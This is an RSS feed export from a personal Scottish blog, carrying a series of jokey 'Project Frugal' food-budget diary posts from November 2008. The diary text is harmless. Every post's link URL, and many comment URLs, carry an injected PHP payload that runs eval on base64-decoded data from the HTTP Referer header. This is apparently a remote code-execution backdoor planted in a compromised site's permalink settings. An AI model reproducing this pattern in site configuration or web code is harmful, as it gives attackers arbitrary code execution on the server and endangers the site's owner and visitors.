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	<title>This Standard Scottish Life &#187; project frugal</title>
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		<title>Project Frugal &#8211; Day 7</title>
		<link>http://www.thisstandardscottishlife.com/2008/11/07/project-frugal-day-7/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thisstandardscottishlife.com/2008/11/07/project-frugal-day-7/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 09:35:02 +0000</pubDate>
		<dc:creator>Sandy</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[shopping]]></category>
		<category><![CDATA[architect]]></category>
		<category><![CDATA[meringues]]></category>
		<category><![CDATA[project frugal]]></category>
		<category><![CDATA[sandwiches]]></category>

		<guid isPermaLink="false">http://www.thisstandardscottishlife.com/?p=323</guid>
		<description><![CDATA[I grow weary of Project Frugal but forge on regardless [sigh].
Wot we spent on buying food:
£0.99 Total so far for Project Frugal £28.91. Le Chef continues to go his own way on his extravagant lunches.  
Wot we bought:


chocolate eclairs


Wot we ate:

OJ
Cappuccino
porridge
cheese, jamon and lettuce sandwich and three tomatoes
water and lots of it
tea and biscuit (free at The Architect&#8217;s House.  I [...]]]></description>
			<content:encoded><![CDATA[<p>I grow weary of<strong> Project Frugal</strong> but forge on regardless [sigh].</p>
<h2><strong>Wot we spent on buying food:</strong></h2>
<p><strong>£0.99 </strong>Total so far for <strong>Project Frugal</strong> <strong>£28.91. </strong><strong>Le Chef </strong>continues to go his own way on his extravagant lunches.  </p>
<h2>Wot we bought:</h2>
<div>
<ul>
<li>chocolate eclairs</li>
</ul>
</div>
<h2>Wot we ate:</h2>
<ul>
<li>OJ</li>
<li>Cappuccino</li>
<li>porridge</li>
<li>cheese, jamon and lettuce sandwich and three tomatoes</li>
<li>water and lots of it</li>
<li>tea and biscuit (free at <strong>The Architect&#8217;s House</strong>.  I have become increasingly confident at just inviting myself around to friend&#8217;s house as a means of keep the project&#8217;s outgoings down.  If I arrive at your house unexpectedly you&#8217;ll know what to do).</li>
<li>huge feed at the Chinese restaurant (expenses for the eating out are not part of Project Frugal)</li>
<li>a million chocolate eclairs</li>
</ul>
<h2>Reflections on frugality</h2>
<p>Week 1 of <strong>Project Fruga</strong>l is over and I believe twas moderately successful.  We spent a grand total of £28.91 on food all week, although I expect the truth is closer to £50 due to <strong>Le Chef&#8217;s</strong> expensive sandwiches that he doesn&#8217;t tell me about.</p>
<p>Still, savings could be made.  There&#8217;s no need to be buying huge meringues, chocolate eclairs, cola and sandwiches for lunch.  <a title="Tea and Sympathy" href="http://www.thisstandardscottishlife.com/?p=318" target="_self">Tea and Sympathy</a> was an extravagance but a necessary one.  I reckon you could get it down to about £20.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Project Frugal &#8211; day 6</title>
		<link>http://www.thisstandardscottishlife.com/2008/11/06/project-frugal-day-6/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thisstandardscottishlife.com/2008/11/06/project-frugal-day-6/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 06 Nov 2008 20:42:04 +0000</pubDate>
		<dc:creator>Sandy</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[shopping]]></category>
		<category><![CDATA[work]]></category>
		<category><![CDATA[cheese on toast]]></category>
		<category><![CDATA[grilled cheese]]></category>
		<category><![CDATA[porridge]]></category>
		<category><![CDATA[project frugal]]></category>

		<guid isPermaLink="false">http://www.thisstandardscottishlife.com/?p=321</guid>
		<description><![CDATA[

Wot we spent on buying food:
£4.04 Total so far for Project Frugal £27.91. Le Chef continues to go his own way on his extravagant lunches.  
Wot we bought:


organic mature cheddar cheese @ £1.99
organic Scottish porridge oats @ £1.20
wholemeal bread @0.85


Wot we ate:

OJ
Cappuccino (not Le Chef)
porridge (not Le Chef)
more chocolate raisins (free. Thanks Flora)
cheese, jamon and lettuce sandwich and three tomatoes
water and lots of [...]]]></description>
			<content:encoded><![CDATA[<div id="post-318" class="post">
<div class="post-inner">
<h2><strong>Wot we spent on buying food:</strong></h2>
<p><strong>£4.04 </strong>Total so far for <strong>Project Frugal</strong> <strong>£27.91. </strong><strong>Le Chef </strong>continues to go his own way on his extravagant lunches.  </p>
<h2>Wot we bought:</h2>
<div>
<ul>
<li>organic mature cheddar cheese @ £1.99</li>
<li>organic Scottish porridge oats @ £1.20</li>
<li>wholemeal bread @0.85</li>
</ul>
</div>
<h2>Wot we ate:</h2>
<ul>
<li>OJ</li>
<li>Cappuccino (not <strong>Le Chef</strong>)</li>
<li>porridge (not <strong>Le Chef</strong>)</li>
<li>more chocolate raisins (free. Thanks <strong>Flora</strong>)</li>
<li>cheese, jamon and lettuce sandwich and three tomatoes</li>
<li>water and lots of it</li>
<li>2 slices of cheese on toast with Worcestershire sauce</li>
<li>2 slices of cheese on toast with ketchup</li>
</ul>
<h2>Reflections on frugality</h2>
<p>I have been abandoned to prepare my own tea.  I am fatigued due to having to attend the workplace place very early in the morning for the past two days.  I am hungry due to it being a long time from lunch.  The solution is cheese on toast.  Quick, tasty and requiring no skill.  Yum.</p></div>
</div>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Project Frugal &#8211; Day 5.  This was a mistake.</title>
		<link>http://www.thisstandardscottishlife.com/2008/11/06/project-frugal-day-5-this-was-a-mistake/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thisstandardscottishlife.com/2008/11/06/project-frugal-day-5-this-was-a-mistake/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 05 Nov 2008 23:21:44 +0000</pubDate>
		<dc:creator>Sandy</dc:creator>
				<category><![CDATA[drink]]></category>
		<category><![CDATA[food]]></category>
		<category><![CDATA[work]]></category>
		<category><![CDATA[carrot cake]]></category>
		<category><![CDATA[porridge]]></category>
		<category><![CDATA[project frugal]]></category>
		<category><![CDATA[sympathy]]></category>
		<category><![CDATA[tea]]></category>

		<guid isPermaLink="false">http://www.thisstandardscottishlife.com/?p=318</guid>
		<description><![CDATA[Only five days in and Project Frugal is derailing.  This is due to:

certain members of the Project Frugal team not entering into the true spirit of the endeavor

Le Chef! What&#8217;s that bottle of cola doing here?  That&#8217;s an unnecessary extravagance! What&#8217;s wrong with drinking water?  I have not drunk any of it as I [...]]]></description>
			<content:encoded><![CDATA[<p>Only five days in and <strong>Project Frugal </strong>is derailing.  This is due to:</p>
<ul>
<li>certain members of the <strong>Project Frugal </strong>team not entering into the true spirit of the endeavor
<ul>
<li><em><strong>Le Chef! What&#8217;s that bottle of cola doing here?  That&#8217;s an unnecessary extravagance! What&#8217;s wrong with drinking water? </strong></em> I have not drunk any of it as I have self control (well at least a little) unlike some people.</li>
</ul>
</li>
<li>An emergency which required immediate abandonment of all frugality.
<ul>
<li>OMG! <strong>Fraulein Direktor&#8217;s</strong> bicycle was stolen today.  She was rightly traumatised by the loss of the beloved commuting bike.  Appropriate application of tea and sympathy was administered.  Well, not tea and sympathy but more coffee, rhubarb tart and empire biscuits and sympathy too.</li>
</ul>
</li>
<li>the threat of inappropriate recycling of leftovers
<ul>
<li><em><strong>Oh Le Chef,  you didn&#8217;t eat your porridge</strong></em>.</li>
<li><em><strong><span style="color: #008000;">No but I put it in the pasta sauce</span></strong></em>.</li>
<li><em><strong>We&#8217;re having porridge pasta for tea?  I&#8217;m off to the chippie!</strong></em></li>
</ul>
</li>
</ul>
<h2><strong>Wot we spent on buying food:</strong></h2>
<p><strong>£10.70 </strong>Total so far for <strong>Project Frugal</strong> <strong>£23.87. </strong><strong>Le Chef </strong>continues to go his own way on his extravagant lunches.  Full disclosure is not forthcoming.</p>
<h2>Wot we bought:</h2>
<div>
<ul>
<li>tea and sympathy for pal @ £6.50</li>
<li>my sandwich @ £2.60.  I didn&#8217;t bring my sarnie coz I was scheduled to have luncheon with Imelda (I was hoping she&#8217;d pay)  but due to right royal work type feck up lunch had to be canceled.</li>
<li>that unnecessary bottle of cola @1 £1.60</li>
</ul>
<h2>Wot we should have bought but didn’t:</h2>
<div>
<ul>
<li>porridge oats</li>
</ul>
</div>
</div>
<h2>Wot we ate:</h2>
<ul>
<li>OJ</li>
<li>Cappuccino (not <strong>Le Chef</strong>)</li>
<li>porridge (not <strong>Le Chef</strong>)</li>
<li>macchiato empire biscuit as part of tea and sympathy</li>
<li>salami, jarlsberg and salsa sandwich</li>
<li>chocolate raisins (free. Thanks <strong>Flora</strong>)</li>
<li>decaf coffee (free. thanks work)</li>
<li>hot chocolate (free. thanks work)</li>
<li>porridge pasta.  Actually <strong>Le Chef</strong> he did pull my leg about putting porridge in the pasta sauce.  But the pasta sauce did contain the bean stew that I couldn&#8217;t finish last night.  In fact the pasta sauce tasted like chili con carne without the carne bit.  I did ask why we didn&#8217;t have it on rice only to learn that there is no rice left.  Shopping list then&#8230;</li>
<li>water and lots of it</li>
<li>white tea with camomile and cinnamon (free. Thanks <strong>Imelda</strong>)</li>
<li>carrot cake (free. Thanks <strong>Dr Soapbox</strong>)</li>
<li>tea type tea (Free. Thanks <strong>Gussie and Roderick</strong>)</li>
</ul>
<h2>Reflections on frugality</h2>
<p>I was secretly hoping for a fluffy cheese and tomato omlette for tea tonight but the ongoing saga of the recycled bean stew continues.  Tis getting tastier.</p>
<p>Just buy the ruddy oats!</p>
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		</item>
		<item>
		<title>Project Frugal &#8211; Day 4</title>
		<link>http://www.thisstandardscottishlife.com/2008/11/04/project-frugal-day-4/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thisstandardscottishlife.com/2008/11/04/project-frugal-day-4/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 04 Nov 2008 21:40:37 +0000</pubDate>
		<dc:creator>Sandy</dc:creator>
				<category><![CDATA[drink]]></category>
		<category><![CDATA[food]]></category>
		<category><![CDATA[whimsy]]></category>
		<category><![CDATA[work]]></category>
		<category><![CDATA[asahi]]></category>
		<category><![CDATA[jam]]></category>
		<category><![CDATA[jamon]]></category>
		<category><![CDATA[polo mints]]></category>
		<category><![CDATA[project frugal]]></category>
		<category><![CDATA[sashimi]]></category>

		<guid isPermaLink="false">http://www.thisstandardscottishlife.com/?p=315</guid>
		<description><![CDATA[Wot we spent on buying food:
£0.00 Total so far for Project Frugal £13.17. Le Chef continues to go his own way on his extravagant lunches but on the other hand I am particularly frugal.  This is because I am 100% Scottish and Le Chef is only half Scottish.
Wot we bought:


nothing, nada, zero.  Except the above, the [...]]]></description>
			<content:encoded><![CDATA[<h2><strong>Wot we spent on buying food:</strong></h2>
<p><strong>£0.00 </strong>Total so far for Project Frugal <strong>£13.17. </strong><strong>Le Chef </strong>continues to go his own way on his extravagant lunches but on the other hand I am particularly frugal.  This is because I am 100% Scottish and <strong>Le Chef </strong>is only half Scottish.</p>
<h2>Wot we bought:</h2>
<div>
<ul>
<li>nothing, nada, zero.  Except the above, the misbehaving <strong>Le Chef</strong>.</li>
</ul>
<h2>Wot we should have bought but didn&#8217;t:</h2>
<div>
<ul>
<li>porridge oats</li>
</ul>
</div>
</div>
<h2>Wot we ate:</h2>
<ul>
<li>OJ</li>
<li>Cappuccino</li>
<li>porridge</li>
<li>black coffee (thanks work)</li>
<li>free macchiato and free italian biscuit.  Thanks Boss!</li>
<li>My lunch was a jamon (that&#8217;s Spanish for jam eh .. I mean ham), cheese and lettuce sandwich and three little tomatoes.  Are you noticing a certain pattern to breakfast and lunch?</li>
<li>decaf coffee (thanks work)</li>
<li>hot chococlate (thanks work)</li>
<li>green tea</li>
<li>water and lots of it</li>
<li> that thing <strong>Le Chef </strong>made last night has morphed into something else.  There is some chorizo in there now that he found at the back of the fridge and there&#8217;s definitely more beans.  The taste is very good now.<strong></strong></li>
<li>two polo mints pinched from<strong> Le Chef </strong>when he wasn&#8217;t looking.  I first learned to pinch my papa&#8217;s polos when I was only five.</li>
</ul>
<h2>Reflections on frugality</h2>
<p>This having others pay for your food and drinks is a great lark. I wonder if I can get it to extend to a huge  plate of free sashimi and 2 free bottles of Asahi.   Free drinks can be hazardous and lead to over indulgence on caffeine.</p>
<p>The porridge problem has not been resolved.  Someone is going to get a smack.</p>
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		</item>
		<item>
		<title>Project Frugal &#8211; Day 3</title>
		<link>http://www.thisstandardscottishlife.com/2008/11/03/project-frugal-day-3/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thisstandardscottishlife.com/2008/11/03/project-frugal-day-3/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 21:25:35 +0000</pubDate>
		<dc:creator>Sandy</dc:creator>
				<category><![CDATA[bikes]]></category>
		<category><![CDATA[exercise]]></category>
		<category><![CDATA[food]]></category>
		<category><![CDATA[kultchur]]></category>
		<category><![CDATA[captain awesome]]></category>
		<category><![CDATA[france]]></category>
		<category><![CDATA[fraulein direktor]]></category>
		<category><![CDATA[hershy kisses]]></category>
		<category><![CDATA[mango chutney]]></category>
		<category><![CDATA[parsnips]]></category>
		<category><![CDATA[porridge]]></category>
		<category><![CDATA[project frugal]]></category>
		<category><![CDATA[spinning]]></category>

		<guid isPermaLink="false">http://www.thisstandardscottishlife.com/?p=310</guid>
		<description><![CDATA[Wot we spent on buying food:
£0.00 Total so far for Project Frugal £13.17 however Le Chef, who is incapable of advising me in advance if he wants me to prepare delicious, yummy sandwiches no doubt spent extravagant amounts on some dry old bread thing at work.  He will not disclose how much exchanged hands.
Wot we bought:


nothing, [...]]]></description>
			<content:encoded><![CDATA[<h2><strong>Wot we spent on buying food:</strong></h2>
<p><strong>£0.00 </strong>Total so far for Project Frugal <strong>£13.17 </strong>however<strong> Le Chef, </strong>who is incapable of advising me in advance if he wants me to prepare delicious, yummy sandwiches no doubt spent extravagant amounts on some dry old bread thing at work.  He will not disclose how much exchanged hands.</p>
<h2>Wot we bought:</h2>
<div>
<ul>
<li>nothing, nada, zero.  Except the above.  It&#8217;s a bit rude of<strong> Le Chef </strong>to not fully participate in the spirit of the project.  Harumph!</li>
</ul>
<h2>Wot we should have bought but didn&#8217;t:</h2>
<div>
<ul>
<li>porridge oats</li>
</ul>
</div>
</div>
<h2>Wot we ate:</h2>
<ul>
<li>OJ</li>
<li>Cappuccino</li>
<li>porridge</li>
<li>I had another cappucino with <em><strong>Fraulein Direktor</strong></em> while we discussed very very important work type stuff.  She bought the cappucino, so no cost to me.  And this gave me a cunning idea.  If I can get all my friends to buy me or make me food then <strong>Project Frugal</strong> will never have any outgoings.  Send food parcels everyone!</li>
<li>My lunch was a jamon (that&#8217;s Spanish for jam eh .. I mean ham), cheese and lettuce sandwich and three little tomatoes.  My sandwich was prepared by my own fair paw.  <strong>Le Chef</strong> &#8211; gawd only knows what he had or how much it cost.  Harumph!</li>
<li>green tea</li>
<li>water and lots of it due to furious spin class with <strong>Captain Awesome</strong></li>
<li>another <strong>Le Chef </strong>prepared culinary delight of curious origin twas served ce soir.  It was quite good.  It looked like it had beans and potatoes and carrots in it.  It perhaps even had parsnips in there too. I thought my tea lacked a certain something so I stirred in mango chutney which as everyone knows is just middle class tomato ketchup.  The meal&#8217;s tastiness improved somewhat in a strange exotic fruit way.  I recommend putting mango chutney on everything.
<ul>
<li><strong>Uninteresting factoid:</strong> the French regard the parsnip with disdain.  They only feed it to their horses.  <em><strong>A terribly waste</strong></em> I say, <em><strong>Terrible waste</strong></em>.  And I thought they knew something about food.</li>
</ul>
</li>
<li><strong>Le Chef</strong> is still stuffing himself with <strong><em>Kershy Hisses</em></strong>.  They were a food parcel from <em><strong>Umerica</strong></em> so no purchase necessary.</li>
</ul>
<h2>Reflections on frugality</h2>
<div>Today is spinning class day.  Me and <em><strong>Fraulein Direktor </strong></em>went.  <em><strong>Captain Awesome,</strong></em> our spinning teacher was a bit <span style="text-decoration: line-through;">Nazi</span> nasty today.  Making us sprint.  What&#8217;s sprinting for?  I know what sprinting is for.  Sprinting is an appetite suppressant. Tis not possible to eat your tea after furious sprinting.  Eating too soon after sprinting leads to the <strong>driving of that ceramic bus </strong>again or having a chat with <strong>Ralph</strong> and <strong>Bert</strong> and <strong>Jonah</strong> and <strong>Huey</strong>.</div>
<div>Must by oats.  My porridge oat supply is dangerously low. Stress from dwindling oat supply is causing anxiety.</div>
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		</item>
		<item>
		<title>Project Frugal &#8211; Day 2.  Oh dear!</title>
		<link>http://www.thisstandardscottishlife.com/2008/11/02/project-frugal-day-2-oh-dear/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Sun, 02 Nov 2008 13:18:13 +0000</pubDate>
		<dc:creator>Sandy</dc:creator>
				<category><![CDATA[bikes]]></category>
		<category><![CDATA[exaggeration / lies]]></category>
		<category><![CDATA[food]]></category>
		<category><![CDATA[shopping]]></category>
		<category><![CDATA[arthurs seat]]></category>
		<category><![CDATA[brains]]></category>
		<category><![CDATA[crazy]]></category>
		<category><![CDATA[cycling]]></category>
		<category><![CDATA[edinburgh]]></category>
		<category><![CDATA[meringues]]></category>
		<category><![CDATA[project frugal]]></category>
		<category><![CDATA[zombies]]></category>

		<guid isPermaLink="false">http://www.thisstandardscottishlife.com/?p=308</guid>
		<description><![CDATA[Oh dear, oh dear.  Off the wagon already.   This is no good.
Wot we spent on buying food:
£3.98  Total so far for Project Frugal £13.17
Wot we bought:


2 x delicious, huge, meringues from Victor Hugo

Wot we should have bought but didn&#8217;t:


porridge oats



Wot we ate:

bacon sarnie &#38; fried egg sarnie
OJ
Cappucino
a peculiar meal of rice and something else [...]]]></description>
			<content:encoded><![CDATA[<p>Oh dear, oh dear.  Off the wagon already.   This is no good.</p>
<h2><strong>Wot we spent on buying food:</strong></h2>
<p><strong>£3.98 </strong> Total so far for Project Frugal <strong>£13.17</strong></p>
<h2>Wot we bought:</h2>
<div>
<ul>
<li>2 x delicious, huge, meringues from Victor Hugo</li>
</ul>
<h2>Wot we should have bought but didn&#8217;t:</h2>
<div>
<ul>
<li>porridge oats</li>
</ul>
</div>
</div>
<h2>Wot we ate:</h2>
<ul>
<li>bacon sarnie &amp; fried egg sarnie</li>
<li>OJ</li>
<li>Cappucino</li>
<li>a <em>peculiar</em> meal of rice and something else which seemed to be vegetables and tasted a bit vinegary to me.  When I went into the kitchen later I saw the aftermath of the preparations for the <em>peculiar meal</em>.  The aftermath did not shine any light on what my tea was but there were big knives everywhere and a wok and vinegar.  While making our tea I can only think that <strong>Le Chef</strong> was distracted by <a title="The Archers" href="http://www.bbc.co.uk/radio4/archers/" target="_self">The Archers</a> or some shouty politician on Radio 4.</li>
<li>green tea</li>
<li>water</li>
<li>huge meringue (mine was raspberry)</li>
<li><strong>Le Chef </strong>seemed to also eat an alarming number of <a title="Hersheykisses" href="http://www.hersheys.com/kisses/" target="_self">Hershey Kisses</a> without offering any to me.  But I don&#8217;t care coz <strong>Hershey Kisses</strong> are evil.  And I believe they have a laxative effect.  That&#8217;ll teach him!</li>
</ul>
<h2>Reflections on frugality</h2>
<div>I went cycling today.  I went up <strong>Corstorphine Hill</strong> and then round <a title="Arthur's seat" href="http://en.wikipedia.org/wiki/Arthur_Seat" target="_self">Arthur&#8217;s Seat</a> three times. As all cyclists know, cycling makes you crazy for food, especially cycling uphill.  When I was done I was <strong><em>CRAZY FOR FOOD</em></strong> in that mad zombie <strong><em>GIMME BRAINS/FOOD</em></strong> way.  All self control and frugality goes out the window when cyclists are like this.  Cyclists will eat anything, including brains.  but very very big and sugary meringues are preferred.  And I did.  No, not the brains, the meringues.</div>
<div>Should have bought oats.  Should have bought oats.  Didn&#8217;t though.  Must by oats.</div>
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		<title>Project Frugal &#8211; Day 1</title>
		<link>http://www.thisstandardscottishlife.com/2008/11/01/project-frugal-day-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Sat, 01 Nov 2008 20:43:18 +0000</pubDate>
		<dc:creator>Sandy</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[project frugal]]></category>

		<guid isPermaLink="false">http://www.thisstandardscottishlife.com/?p=303</guid>
		<description><![CDATA[Last night, knowing that Project Frugal was about to commence the following day, moi et Le Chef ate steak.  There will be little or no meat during Project Frugal. Plain chocolate digestive biscuits were scoffed.  There will little or no sweet treats during Project Frugal unless I take up baking.  Mmmmm cupcakes.
Wot we spent on [...]]]></description>
			<content:encoded><![CDATA[<p>Last night, knowing that <strong><a title="Project Frugal" href="http://www.thisstandardscottishlife.com/wp-admin/post.php?action=edit&amp;post=296" target="_self">Project Fruga</a></strong><strong>l </strong>was about to commence the following day, moi et <strong>Le Chef</strong> ate steak.  There will be little or no meat during <strong>Project Frugal</strong>. Plain chocolate digestive biscuits were scoffed.  There will little or no sweet treats during <strong>Project Fruga</strong>l unless I take up baking.  Mmmmm cupcakes.</p>
<h2>Wot we spent on buying food:</h2>
<p><strong>£9.19  </strong>Total so far for Project Frugal<strong> £9.19</strong></p>
<h2>Wot we bought:</h2>
<ul>
<li>OJ (3 x 0.69)</li>
<li>Litre of semi-skinned (0.95)</li>
<li>Garlic (0.59)</li>
<li>Lemons (0.59)</li>
<li>Onions (0.69)</li>
<li>Potatoes (0.69)</li>
<li>Leeks (0.64)</li>
<li>Passata (0.44)</li>
<li>Butternut squash (0.28)</li>
<li>Mushy peas (0.17)</li>
<li>Olives (0.59)</li>
<li>Parsnips (0.49)</li>
<li>Wholemeal bread (0.89)</li>
</ul>
<h2>Wot we ate:</h2>
<ul>
<li>BLT sarnies</li>
<li>OJ</li>
<li>Cappucino</li>
<li>Fresh tomato sauce with pasta</li>
<li>Fried potatoes with onions and garlic</li>
<li>Mint tea</li>
<li>Water </li>
</ul>
<h2>Reflections on frugality</h2>
<div>A kind of frugalish day.  Most of wot was eaten was left over from previous shopping outings. Bacon sarnies will soon be a thing of the past i.e. as of tomorrow when it all runs out. I am a little worried about my porridge supply.  I stayed away from the <a title="Edinburgh farmer's market" href="http://www.edinburghfarmersmarket.com/" target="_self">Farmer&#8217;s market</a> which always leads to extravagant food purchase but Farmer&#8217;s market is where the <a title="Stoats porridge oats" href="http://www.stoatsporridgebars.co.uk/" target="_self">porridge supplier</a> is.  Porridge isn&#8217;t extravagant, is it?  Must buy oats.  Must buy oats.</div>
<div>
<div class="wp-caption alignnone" style="width: 460px"><a href="http://www.stoatsporridgebars.co.uk/item/Brand_Get-your-oats_1k-Stoats-Organic-oat-blend_3_0_29_0.html"><img title="Stoats porridge oats" src="http://www.stoatsporridgebars.co.uk/shop/images/products/medium/1215950879Oats1kg.jpg" alt="Porridge.  Budget food of kings." width="450" height="450" /></a><p class="wp-caption-text">Porridge.  Budget food of kings.</p></div>
</div>
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		<title>Project Frugal</title>
		<link>http://www.thisstandardscottishlife.com/2008/10/31/project-frugal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 31 Oct 2008 18:27:22 +0000</pubDate>
		<dc:creator>Sandy</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[project frugal]]></category>

		<guid isPermaLink="false">http://www.thisstandardscottishlife.com/?p=296</guid>
		<description><![CDATA[Terrible financial mess, what.  Pensions gone. Savings sunk in Iceland.  Time for Project Frugal.
Project Frugal is an experiment by myself and Le Chef to eat modestly and cheaply in the way one might have during The Great Depression or food rationing times in the Second World War.  
The rules of Project Frugal are: 

Healthy things to [...]]]></description>
			<content:encoded><![CDATA[<p>Terrible financial mess, what.  Pensions gone. Savings sunk in Iceland.  Time for <strong>Project Frugal</strong>.</p>
<p><strong>Project Frugal</strong> is an experiment by myself and <strong>Le Chef</strong> to eat modestly and cheaply in the way one might have during <strong>The Great Depression</strong> or food rationing times in the <strong>Second World War</strong>.  </p>
<p>The rules of <strong>Project Frugal </strong>are: </p>
<ol>
<li>Healthy things to eat are to be encouraged.  <strong><em>Damn!  I was hoping to live off chips and ketchup.</em></strong></li>
<li>Eating only porridge and mushy peas every day is to be discouraged.  <strong><em>Damn!  If I can&#8217;t eat chips, ketchup, porridge and mushy peas what will I eat?  I can&#8217;t cook anything else &#8230;. except bacon sandwiches.  Right, I&#8217;ll eat bacon sandwiches.</em></strong></li>
<li>There will be no excessive expenditure at the farmer&#8217;s market.  <strong><em>So that&#8217;ll be my bacon sandwiches gone then.   I&#8217;m not so sure of this Project Frugal malarky.</em></strong></li>
<li>Cauliflower and brussel sprouts are not food.  Dog food probably isn&#8217;t food either.</li>
<li>Alcohol is allowed. But Champagne is not frugal.  <strong><em>Oh, alcohol is allowed.  Alcohol is food, isn&#8217;t it?  And mostly requires no cooking except perhaps Gluhwein.</em></strong></li>
<li>Project will last two weeks.</li>
<li>Project starts 1 Nov 2008</li>
<li>A daily report of expenditure and meals will be reported.</li>
</ol>
<div>
<div class="wp-caption alignleft" style="width: 415px"><a href="hthttp://www.flickr.com/photos/kadeeae/2869558645/"><img title="Project Frugal" src="http://farm4.static.flickr.com/3106/2869558645_53f707e30a.jpg?v=0" alt="Project Frugal ration book" width="405" height="304" /></a><p class="wp-caption-text">Project Frugal ration book</p></div>
</div>
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